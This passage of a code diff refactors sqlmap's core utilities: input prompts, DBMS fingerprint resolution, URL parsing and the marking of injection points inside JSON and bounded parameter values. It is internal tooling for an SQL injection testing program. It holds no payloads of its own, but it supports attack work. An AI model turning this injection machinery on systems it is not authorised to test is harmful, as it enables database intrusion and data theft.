|
||||||
|
query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
|
||||||
|
|
||||||
|
return query
|
||||||
|
|
||||||
# SQL agent
|
# SQL agent
|
||||||
agent = Agent()
|
agent = Agent()
|
||||||
|
|||||||
+266
-103
@@ -26,6 +26,7 @@ import string
|
|||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
|
import threading
|
||||||
import time
|
import time
|
||||||
import urllib
|
import urllib
|
||||||
import urllib2
|
import urllib2
|
||||||
@@ -72,6 +73,7 @@ from lib.core.enums import HEURISTIC_TEST
|
|||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import HTTPMETHOD
|
from lib.core.enums import HTTPMETHOD
|
||||||
from lib.core.enums import MKSTEMP_PREFIX
|
from lib.core.enums import MKSTEMP_PREFIX
|
||||||
|
from lib.core.enums import OPTION_TYPE
|
||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
@@ -95,8 +97,8 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
|
|||||||
from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
|
from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
|
||||||
from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
|
from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
|
||||||
from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
|
from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
|
||||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
|
||||||
from lib.core.settings import DBMS_DIRECTORY_DICT
|
from lib.core.settings import DBMS_DIRECTORY_DICT
|
||||||
|
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
||||||
@@ -112,6 +114,7 @@ from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN
|
|||||||
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
|
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
|
||||||
from lib.core.settings import HASHDB_MILESTONE_VALUE
|
from lib.core.settings import HASHDB_MILESTONE_VALUE
|
||||||
from lib.core.settings import HOST_ALIASES
|
from lib.core.settings import HOST_ALIASES
|
||||||
|
from lib.core.settings import IGNORE_SAVE_OPTIONS
|
||||||
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
||||||
from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT
|
from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT
|
||||||
from lib.core.settings import IP_ADDRESS_REGEX
|
from lib.core.settings import IP_ADDRESS_REGEX
|
||||||
@@ -137,6 +140,7 @@ from lib.core.settings import REFERER_ALIASES
|
|||||||
from lib.core.settings import REFLECTED_BORDER_REGEX
|
from lib.core.settings import REFLECTED_BORDER_REGEX
|
||||||
from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
|
from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
|
||||||
from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
|
from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
|
||||||
|
from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT
|
||||||
from lib.core.settings import REFLECTED_VALUE_MARKER
|
from lib.core.settings import REFLECTED_VALUE_MARKER
|
||||||
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
|
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
|
||||||
from lib.core.settings import SENSITIVE_DATA_REGEX
|
from lib.core.settings import SENSITIVE_DATA_REGEX
|
||||||
@@ -268,7 +272,7 @@ class Format(object):
|
|||||||
infoApi = {}
|
infoApi = {}
|
||||||
|
|
||||||
if info and "type" in info:
|
if info and "type" in info:
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
infoApi["%s operating system" % target] = info
|
infoApi["%s operating system" % target] = info
|
||||||
else:
|
else:
|
||||||
infoStr += "%s operating system: %s" % (target, Format.humanize(info["type"]))
|
infoStr += "%s operating system: %s" % (target, Format.humanize(info["type"]))
|
||||||
@@ -286,12 +290,12 @@ class Format(object):
|
|||||||
infoStr += " (%s)" % Format.humanize(info["codename"])
|
infoStr += " (%s)" % Format.humanize(info["codename"])
|
||||||
|
|
||||||
if "technology" in info:
|
if "technology" in info:
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
infoApi["web application technology"] = Format.humanize(info["technology"], ", ")
|
infoApi["web application technology"] = Format.humanize(info["technology"], ", ")
|
||||||
else:
|
else:
|
||||||
infoStr += "\nweb application technology: %s" % Format.humanize(info["technology"], ", ")
|
infoStr += "\nweb application technology: %s" % Format.humanize(info["technology"], ", ")
|
||||||
|
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
return infoApi
|
return infoApi
|
||||||
else:
|
else:
|
||||||
return infoStr.lstrip()
|
return infoStr.lstrip()
|
||||||
@@ -318,14 +322,14 @@ class Backend:
|
|||||||
msg += "correct [%s (default)/%s] " % (kb.dbms, dbms)
|
msg += "correct [%s (default)/%s] " % (kb.dbms, dbms)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
_ = readInput(msg, default=kb.dbms)
|
choice = readInput(msg, default=kb.dbms)
|
||||||
|
|
||||||
if aliasToDbmsEnum(_) == kb.dbms:
|
if aliasToDbmsEnum(choice) == kb.dbms:
|
||||||
kb.dbmsVersion = []
|
kb.dbmsVersion = []
|
||||||
kb.resolutionDbms = kb.dbms
|
kb.resolutionDbms = kb.dbms
|
||||||
break
|
break
|
||||||
elif aliasToDbmsEnum(_) == dbms:
|
elif aliasToDbmsEnum(choice) == dbms:
|
||||||
kb.dbms = aliasToDbmsEnum(_)
|
kb.dbms = aliasToDbmsEnum(choice)
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
warnMsg = "invalid value"
|
warnMsg = "invalid value"
|
||||||
@@ -378,12 +382,12 @@ class Backend:
|
|||||||
msg += "correct [%s (default)/%s] " % (kb.os, os)
|
msg += "correct [%s (default)/%s] " % (kb.os, os)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
_ = readInput(msg, default=kb.os)
|
choice = readInput(msg, default=kb.os)
|
||||||
|
|
||||||
if _ == kb.os:
|
if choice == kb.os:
|
||||||
break
|
break
|
||||||
elif _ == os:
|
elif choice == os:
|
||||||
kb.os = _.capitalize()
|
kb.os = choice.capitalize()
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
warnMsg = "invalid value"
|
warnMsg = "invalid value"
|
||||||
@@ -417,10 +421,10 @@ class Backend:
|
|||||||
msg += "\n[2] 64-bit"
|
msg += "\n[2] 64-bit"
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
_ = readInput(msg, default='1')
|
choice = readInput(msg, default='1')
|
||||||
|
|
||||||
if isinstance(_, basestring) and _.isdigit() and int(_) in (1, 2):
|
if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2):
|
||||||
kb.arch = 32 if int(_) == 1 else 64
|
kb.arch = 32 if int(choice) == 1 else 64
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
warnMsg = "invalid value. Valid values are 1 and 2"
|
warnMsg = "invalid value. Valid values are 1 and 2"
|
||||||
@@ -431,7 +435,7 @@ class Backend:
|
|||||||
# Get methods
|
# Get methods
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getForcedDbms():
|
def getForcedDbms():
|
||||||
return aliasToDbmsEnum(kb.get("forcedDbms"))
|
return aliasToDbmsEnum(conf.get("forceDbms")) or aliasToDbmsEnum(kb.get("forcedDbms"))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getDbms():
|
def getDbms():
|
||||||
@@ -465,6 +469,8 @@ class Backend:
|
|||||||
|
|
||||||
if not kb:
|
if not kb:
|
||||||
pass
|
pass
|
||||||
|
elif not kb.get("testMode") and conf.get("dbmsHandler") and getattr(conf.dbmsHandler, "_dbms", None):
|
||||||
|
dbms = conf.dbmsHandler._dbms
|
||||||
elif Backend.getForcedDbms() is not None:
|
elif Backend.getForcedDbms() is not None:
|
||||||
dbms = Backend.getForcedDbms()
|
dbms = Backend.getForcedDbms()
|
||||||
elif Backend.getDbms() is not None:
|
elif Backend.getDbms() is not None:
|
||||||
@@ -515,10 +521,9 @@ class Backend:
|
|||||||
# Comparison methods
|
# Comparison methods
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def isDbms(dbms):
|
def isDbms(dbms):
|
||||||
if Backend.getDbms() is not None:
|
if not kb.get("testMode") and all((Backend.getDbms(), Backend.getIdentifiedDbms())) and Backend.getDbms() != Backend.getIdentifiedDbms():
|
||||||
return Backend.getDbms() == aliasToDbmsEnum(dbms)
|
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
||||||
else:
|
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
||||||
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def isDbmsWithin(aliases):
|
def isDbmsWithin(aliases):
|
||||||
@@ -589,15 +594,15 @@ def paramToDict(place, parameters=None):
|
|||||||
or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
|
or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
|
||||||
and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
|
and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
|
||||||
warnMsg = "it appears that you have provided tainted parameter values "
|
warnMsg = "it appears that you have provided tainted parameter values "
|
||||||
warnMsg += "('%s') with most probably leftover " % element
|
warnMsg += "('%s') with most likely leftover " % element
|
||||||
warnMsg += "chars/statements from manual SQL injection test(s). "
|
warnMsg += "chars/statements from manual SQL injection test(s). "
|
||||||
warnMsg += "Please, always use only valid parameter values "
|
warnMsg += "Please, always use only valid parameter values "
|
||||||
warnMsg += "so sqlmap could be able to run properly"
|
warnMsg += "so sqlmap could be able to run properly"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] "
|
message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] "
|
||||||
test = readInput(message, default="N")
|
|
||||||
if test[0] not in ("y", "Y"):
|
if not readInput(message, default='N', boolean=True):
|
||||||
raise SqlmapSilentQuitException
|
raise SqlmapSilentQuitException
|
||||||
elif not _:
|
elif not _:
|
||||||
warnMsg = "provided value for parameter '%s' is empty. " % parameter
|
warnMsg = "provided value for parameter '%s' is empty. " % parameter
|
||||||
@@ -613,7 +618,8 @@ def paramToDict(place, parameters=None):
|
|||||||
candidates = OrderedDict()
|
candidates = OrderedDict()
|
||||||
|
|
||||||
def walk(head, current=None):
|
def walk(head, current=None):
|
||||||
current = current or head
|
if current is None:
|
||||||
|
current = head
|
||||||
if isListLike(current):
|
if isListLike(current):
|
||||||
for _ in current:
|
for _ in current:
|
||||||
walk(head, _)
|
walk(head, _)
|
||||||
@@ -621,14 +627,15 @@ def paramToDict(place, parameters=None):
|
|||||||
for key in current.keys():
|
for key in current.keys():
|
||||||
value = current[key]
|
value = current[key]
|
||||||
if isinstance(value, (list, tuple, set, dict)):
|
if isinstance(value, (list, tuple, set, dict)):
|
||||||
walk(head, value)
|
if value:
|
||||||
|
walk(head, value)
|
||||||
elif isinstance(value, (bool, int, float, basestring)):
|
elif isinstance(value, (bool, int, float, basestring)):
|
||||||
original = current[key]
|
original = current[key]
|
||||||
if isinstance(value, bool):
|
if isinstance(value, bool):
|
||||||
current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
|
current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
|
||||||
else:
|
else:
|
||||||
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
|
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
|
||||||
candidates["%s (%s)" % (parameter, key)] = json.dumps(deserialized)
|
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
|
||||||
current[key] = original
|
current[key] = original
|
||||||
|
|
||||||
deserialized = json.loads(testableParameters[parameter])
|
deserialized = json.loads(testableParameters[parameter])
|
||||||
@@ -637,8 +644,8 @@ def paramToDict(place, parameters=None):
|
|||||||
if candidates:
|
if candidates:
|
||||||
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
|
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
|
||||||
message += "is JSON deserializable. Do you want to inject inside? [y/N] "
|
message += "is JSON deserializable. Do you want to inject inside? [y/N] "
|
||||||
test = readInput(message, default="N")
|
|
||||||
if test[0] in ("y", "Y"):
|
if not readInput(message, default='N', boolean=True):
|
||||||
del testableParameters[parameter]
|
del testableParameters[parameter]
|
||||||
testableParameters.update(candidates)
|
testableParameters.update(candidates)
|
||||||
break
|
break
|
||||||
@@ -647,12 +654,12 @@ def paramToDict(place, parameters=None):
|
|||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
_ = re.sub(regex, "\g<1>%s\g<%d>" % (CUSTOM_INJECTION_MARK_CHAR, len(match.groups())), testableParameters[parameter])
|
_ = re.sub(regex, r"\g<1>%s\g<%d>" % (kb.customInjectionMark, len(match.groups())), testableParameters[parameter])
|
||||||
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
|
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
|
||||||
message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _
|
message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_)
|
||||||
test = readInput(message, default="N")
|
|
||||||
if test[0] in ("y", "Y"):
|
if readInput(message, default='N', boolean=True):
|
||||||
testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
|
testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])).replace("\\", r"\\"), parameters)
|
||||||
break
|
break
|
||||||
|
|
||||||
if conf.testParameter:
|
if conf.testParameter:
|
||||||
@@ -728,7 +735,11 @@ def getManualDirectories():
|
|||||||
|
|
||||||
directories = normalizePath(directories)
|
directories = normalizePath(directories)
|
||||||
|
|
||||||
if directories:
|
if conf.webRoot:
|
||||||
|
directories = [conf.webRoot]
|
||||||
|
infoMsg = "using '%s' as web server document root" % conf.webRoot
|
||||||
|
logger.info(infoMsg)
|
||||||
|
elif directories:
|
||||||
infoMsg = "retrieved the web server document root: '%s'" % directories
|
infoMsg = "retrieved the web server document root: '%s'" % directories
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
else:
|
else:
|
||||||
@@ -743,17 +754,17 @@ def getManualDirectories():
|
|||||||
message += "[2] custom location(s)\n"
|
message += "[2] custom location(s)\n"
|
||||||
message += "[3] custom directory list file\n"
|
message += "[3] custom directory list file\n"
|
||||||
message += "[4] brute force search"
|
message += "[4] brute force search"
|
||||||
choice = readInput(message, default="1").strip()
|
choice = readInput(message, default='1')
|
||||||
|
|
||||||
if choice == "2":
|
if choice == '2':
|
||||||
message = "please provide a comma separate list of absolute directory paths: "
|
message = "please provide a comma separate list of absolute directory paths: "
|
||||||
directories = readInput(message, default="").split(',')
|
directories = readInput(message, default="").split(',')
|
||||||
elif choice == "3":
|
elif choice == '3':
|
||||||
message = "what's the list file location?\n"
|
message = "what's the list file location?\n"
|
||||||
listPath = readInput(message, default="")
|
listPath = readInput(message, default="")
|
||||||
checkFile(listPath)
|
checkFile(listPath)
|
||||||
directories = getFileItems(listPath)
|
directories = getFileItems(listPath)
|
||||||
elif choice == "4":
|
elif choice == '4':
|
||||||
targets = set([conf.hostname])
|
targets = set([conf.hostname])
|
||||||
_ = conf.hostname.split('.')
|
_ = conf.hostname.split('.')
|
||||||
|
|
||||||
@@ -887,7 +898,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
|
|||||||
message = data
|
message = data
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if hasattr(conf, "api"):
|
if conf.get("api"):
|
||||||
sys.stdout.write(message, status, content_type)
|
sys.stdout.write(message, status, content_type)
|
||||||
else:
|
else:
|
||||||
sys.stdout.write(setColor(message, bold))
|
sys.stdout.write(setColor(message, bold))
|
||||||
@@ -954,7 +965,7 @@ def dataToOutFile(filename, data):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def readInput(message, default=None, checkBatch=True):
|
def readInput(message, default=None, checkBatch=True, boolean=False):
|
||||||
"""
|
"""
|
||||||
Reads input from terminal
|
Reads input from terminal
|
||||||
"""
|
"""
|
||||||
@@ -991,7 +1002,7 @@ def readInput(message, default=None, checkBatch=True):
|
|||||||
if retVal is None:
|
if retVal is None:
|
||||||
if checkBatch and conf.get("batch"):
|
if checkBatch and conf.get("batch"):
|
||||||
if isListLike(default):
|
if isListLike(default):
|
||||||
options = ",".join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
|
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
|
||||||
elif default:
|
elif default:
|
||||||
options = getUnicode(default, UNICODE_ENCODING)
|
options = getUnicode(default, UNICODE_ENCODING)
|
||||||
else:
|
else:
|
||||||
@@ -1027,6 +1038,12 @@ def readInput(message, default=None, checkBatch=True):
|
|||||||
finally:
|
finally:
|
||||||
logging._releaseLock()
|
logging._releaseLock()
|
||||||
|
|
||||||
|
if retVal and default and isinstance(default, basestring) and len(default) == 1:
|
||||||
|
retVal = retVal.strip()
|
||||||
|
|
||||||
|
if boolean:
|
||||||
|
retVal = retVal.strip().upper() == 'Y'
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def randomRange(start=0, stop=1000, seed=None):
|
def randomRange(start=0, stop=1000, seed=None):
|
||||||
@@ -1101,6 +1118,13 @@ def sanitizeStr(value):
|
|||||||
return getUnicode(value).replace("\n", " ").replace("\r", "")
|
return getUnicode(value).replace("\n", " ").replace("\r", "")
|
||||||
|
|
||||||
def getHeader(headers, key):
|
def getHeader(headers, key):
|
||||||
|
"""
|
||||||
|
Returns header value ignoring the letter case
|
||||||
|
|
||||||
|
>>> getHeader({"Foo": "bar"}, "foo")
|
||||||
|
'bar'
|
||||||
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
for _ in (headers or {}):
|
for _ in (headers or {}):
|
||||||
if _.upper() == key.upper():
|
if _.upper() == key.upper():
|
||||||
@@ -1115,6 +1139,9 @@ def checkFile(filename, raiseOnError=True):
|
|||||||
|
|
||||||
valid = True
|
valid = True
|
||||||
|
|
||||||
|
if filename:
|
||||||
|
filename = filename.strip('"\'')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if filename is None or not os.path.isfile(filename):
|
if filename is None or not os.path.isfile(filename):
|
||||||
valid = False
|
valid = False
|
||||||
@@ -1138,7 +1165,7 @@ def banner():
|
|||||||
This function prints sqlmap banner with its version
|
This function prints sqlmap banner with its version
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not any(_ in sys.argv for _ in ("--version", "--pickled-options")):
|
if not any(_ in sys.argv for _ in ("--version", "--api")):
|
||||||
_ = BANNER
|
_ = BANNER
|
||||||
|
|
||||||
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
|
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
|
||||||
@@ -1179,8 +1206,7 @@ def cleanQuery(query):
|
|||||||
|
|
||||||
for sqlStatements in SQL_STATEMENTS.values():
|
for sqlStatements in SQL_STATEMENTS.values():
|
||||||
for sqlStatement in sqlStatements:
|
for sqlStatement in sqlStatements:
|
||||||
sqlStatementEsc = sqlStatement.replace("(", "\\(")
|
queryMatch = re.search("(?i)\b(%s)\b" % sqlStatement.replace("(", "").replace(")", "").strip(), query)
|
||||||
queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
|
|
||||||
|
|
||||||
if queryMatch and "sys_exec" not in query:
|
if queryMatch and "sys_exec" not in query:
|
||||||
retVal = retVal.replace(queryMatch.group(1), sqlStatement.upper())
|
retVal = retVal.replace(queryMatch.group(1), sqlStatement.upper())
|
||||||
@@ -1256,11 +1282,13 @@ def parseTargetDirect():
|
|||||||
if not conf.direct:
|
if not conf.direct:
|
||||||
return
|
return
|
||||||
|
|
||||||
|
conf.direct = conf.direct.encode(UNICODE_ENCODING) # some DBMS connectors (e.g. pymssql) don't like Unicode with non-US letters
|
||||||
|
|
||||||
details = None
|
details = None
|
||||||
remote = False
|
remote = False
|
||||||
|
|
||||||
for dbms in SUPPORTED_DBMS:
|
for dbms in SUPPORTED_DBMS:
|
||||||
details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>.+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I)
|
details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I)
|
||||||
|
|
||||||
if details:
|
if details:
|
||||||
conf.dbms = details.group("dbms")
|
conf.dbms = details.group("dbms")
|
||||||
@@ -1272,8 +1300,8 @@ def parseTargetDirect():
|
|||||||
if conf.dbmsCred:
|
if conf.dbmsCred:
|
||||||
conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':')
|
conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':')
|
||||||
else:
|
else:
|
||||||
conf.dbmsUser = unicode()
|
conf.dbmsUser = ""
|
||||||
conf.dbmsPass = unicode()
|
conf.dbmsPass = ""
|
||||||
|
|
||||||
if not conf.dbmsPass:
|
if not conf.dbmsPass:
|
||||||
conf.dbmsPass = None
|
conf.dbmsPass = None
|
||||||
@@ -1369,7 +1397,7 @@ def parseTargetUrl():
|
|||||||
else:
|
else:
|
||||||
conf.url = "http://" + conf.url
|
conf.url = "http://" + conf.url
|
||||||
|
|
||||||
if CUSTOM_INJECTION_MARK_CHAR in conf.url:
|
if kb.customInjectionMark in conf.url:
|
||||||
conf.url = conf.url.replace('?', URI_QUESTION_MARKER)
|
conf.url = conf.url.replace('?', URI_QUESTION_MARKER)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -1387,7 +1415,7 @@ def parseTargetUrl():
|
|||||||
conf.hostname = hostnamePort[0].strip()
|
conf.hostname = hostnamePort[0].strip()
|
||||||
|
|
||||||
conf.ipv6 = conf.hostname != conf.hostname.strip("[]")
|
conf.ipv6 = conf.hostname != conf.hostname.strip("[]")
|
||||||
conf.hostname = conf.hostname.strip("[]").replace(CUSTOM_INJECTION_MARK_CHAR, "")
|
conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
_ = conf.hostname.encode("idna")
|
_ = conf.hostname.encode("idna")
|
||||||
@@ -1411,7 +1439,7 @@ def parseTargetUrl():
|
|||||||
else:
|
else:
|
||||||
conf.port = 80
|
conf.port = 80
|
||||||
|
|
||||||
if conf.port < 0 or conf.port > 65535:
|
if conf.port < 1 or conf.port > 65535:
|
||||||
errMsg = "invalid target URL's port (%d)" % conf.port
|
errMsg = "invalid target URL's port (%d)" % conf.port
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
@@ -1427,13 +1455,13 @@ def parseTargetUrl():
|
|||||||
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
|
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
|
||||||
debugMsg = "setting the HTTP Referer header to the target URL"
|
debugMsg = "setting the HTTP Referer header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
conf.httpHeaders = filter(lambda (key, value): key != HTTP_HEADER.REFERER, conf.httpHeaders)
|
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
|
||||||
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(CUSTOM_INJECTION_MARK_CHAR, "")))
|
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
|
||||||
|
|
||||||
if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
|
if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
|
||||||
debugMsg = "setting the HTTP Host header to the target URL"
|
debugMsg = "setting the HTTP Host header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
conf.httpHeaders = filter(lambda (key, value): key != HTTP_HEADER.HOST, conf.httpHeaders)
|
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
|
||||||
conf.httpHeaders.append((HTTP_HEADER.HOST, getHostHeader(conf.url)))
|
conf.httpHeaders.append((HTTP_HEADER.HOST, getHostHeader(conf.url)))
|
||||||
|
|
||||||
if conf.url != originalUrl:
|
if conf.url != originalUrl:
|
||||||
@@ -1490,15 +1518,25 @@ def getLimitRange(count, plusOne=False):
|
|||||||
retVal = None
|
retVal = None
|
||||||
count = int(count)
|
count = int(count)
|
||||||
limitStart, limitStop = 1, count
|
limitStart, limitStop = 1, count
|
||||||
|
reverse = False
|
||||||
|
|
||||||
if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop:
|
if kb.dumpTable:
|
||||||
limitStop = conf.limitStop
|
if conf.limitStart and conf.limitStop and conf.limitStart > conf.limitStop:
|
||||||
|
limitStop = conf.limitStart
|
||||||
|
limitStart = conf.limitStop
|
||||||
|
reverse = True
|
||||||
|
else:
|
||||||
|
if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop:
|
||||||
|
limitStop = conf.limitStop
|
||||||
|
|
||||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||||
limitStart = conf.limitStart
|
limitStart = conf.limitStart
|
||||||
|
|
||||||
retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop)
|
retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop)
|
||||||
|
|
||||||
|
if reverse:
|
||||||
|
retVal = xrange(retVal[-1], retVal[0] - 1, -1)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def parseUnionPage(page):
|
def parseUnionPage(page):
|
||||||
@@ -1600,6 +1638,13 @@ def getRemoteIP():
|
|||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def getFileType(filePath):
|
def getFileType(filePath):
|
||||||
|
"""
|
||||||
|
Returns "magic" file type for given file path
|
||||||
|
|
||||||
|
>>> getFileType(__file__)
|
||||||
|
'text'
|
||||||
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
_ = magic.from_file(filePath)
|
_ = magic.from_file(filePath)
|
||||||
except:
|
except:
|
||||||
@@ -1755,7 +1800,7 @@ def safeStringFormat(format_, params):
|
|||||||
break
|
break
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def getFilteredPageContent(page, onlyText=True):
|
def getFilteredPageContent(page, onlyText=True, split=" "):
|
||||||
"""
|
"""
|
||||||
Returns filtered page content without script, style and/or comments
|
Returns filtered page content without script, style and/or comments
|
||||||
or all HTML tags
|
or all HTML tags
|
||||||
@@ -1768,10 +1813,10 @@ def getFilteredPageContent(page, onlyText=True):
|
|||||||
|
|
||||||
# only if the page's charset has been successfully identified
|
# only if the page's charset has been successfully identified
|
||||||
if isinstance(page, unicode):
|
if isinstance(page, unicode):
|
||||||
retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), " ", page)
|
retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page)
|
||||||
while retVal.find(" ") != -1:
|
while retVal.find(2 * split) != -1:
|
||||||
retVal = retVal.replace(" ", " ")
|
